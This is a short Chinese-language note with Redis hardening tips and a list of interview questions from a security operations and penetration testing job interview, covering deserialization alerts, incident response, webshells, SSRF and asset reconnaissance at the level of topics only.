绑定 IP:修改 bind 127.0.0.1,确保 Redis 仅监听内网或特定受信任 IP,严禁暴露在公网。低权限运行:确保 Redis 以独立低权限用户(如 redis 用户)运行,严禁用 root 启动。
修改默认端口:将 6379 修改为其他不常用端口以避开简单的全网扫描

19点-20点 面试20分钟左右
项目内容:看安全设备告警,做应急,渗透,互联网资产收集
接触过哪些安全设备
拿漏洞举例,有告警如何判断攻击是否成功
fastjson反序列化的原理,告警特征,判断是否攻击成功,讲一下不出网的情况
shiro反序列化的攻击特征
告警降噪
详细应急过程 矿脚本杀不掉的情况如何处理
webshell应急响应
a公网服务,b和公网一个段不出网,告警发现a攻击b,但是a上面没有发现后门,是什么情况
如何处理内存马
告警事件处理流程
渗透的时候挖了哪些漏洞
给你一个登录页面测哪些内容
ssrf原理,出现在什么地方,绕过,防护
资产测绘收集哪些信息
webshell的流量特征